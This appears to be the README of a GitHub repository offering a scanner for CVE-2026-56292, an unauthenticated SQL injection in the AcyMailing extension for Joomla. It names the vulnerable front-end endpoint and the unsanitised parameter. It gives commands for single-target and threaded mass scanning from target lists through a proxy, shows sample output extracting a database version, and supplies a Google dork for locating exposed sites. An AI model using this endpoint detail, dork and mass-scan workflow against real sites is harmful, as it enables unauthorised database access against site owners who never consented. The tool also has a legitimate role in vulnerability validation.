nullwhisper/cve-2026-56292-acymailing-sqliCVE-2026-56292 - AcyMailing for Joomla unauthenticated SQL injection scanner
Author: nullwhisper
For authorized security research / vulnerability validation only.
AcyMailing for Joomla exposes the public front-end task frontentityselect::loadEntityFront. In older versions the columns parameter is passed straight into a SQL query without sanitization. Patched versions use acym_secureDBColumn() and return an error like ... not secured.
index.php?option=com_acym&ctrl=frontentityselect&task=loadEntityFrontcolumns.
├── cve_2026_56292_acymailing_sqli.py # single + mass scanner
├── dorks.txt # google dorks
├── TECHNICAL.md # technical write-up
├── requirements.txt
├── LICENSE
└── README.md
pip3 install -r requirements.txt
Single target:
python3 cve_2026_56292_acymailing_sqli.py -u http://target/
Mass scan:
python3 cve_2026_56292_acymailing_sqli.py -l targets.txt -v -T 30 -o vuln.txt
Options:
-u URL single target
-l LIST target list file
-t TIMEOUT request timeout (default 30)
-T THREADS concurrent threads (default 10)
-o OUTPUT output file for vulnerable targets
-v verbose
--proxy PROXY http/https proxy
--patched-output FILE
--error-output FILE
Tested against an AcyMailing v11.0.3 install on a local Joomla 5 lab (vulnerable simulation mode).
[*] Loaded 1 unique target(s)
[1/1] [+] VULNERABLE: http://127.0.0.1:8080/ -> version=10.11.18-MariaDB-ubu2204
[*] Done. Vulnerable: 1 | Patched: 0 | Error/Other: 0 | Total: 1
See dorks.txt. Primary dork:
inurl:"index.php?option=com_acym"
This tool is for authorized security testing and research only. Do not use it against systems you do not own or have explicit written permission to test. The author (nullwhisper) is not responsible for misuse or damage caused by this code.
MIT — see LICENSE.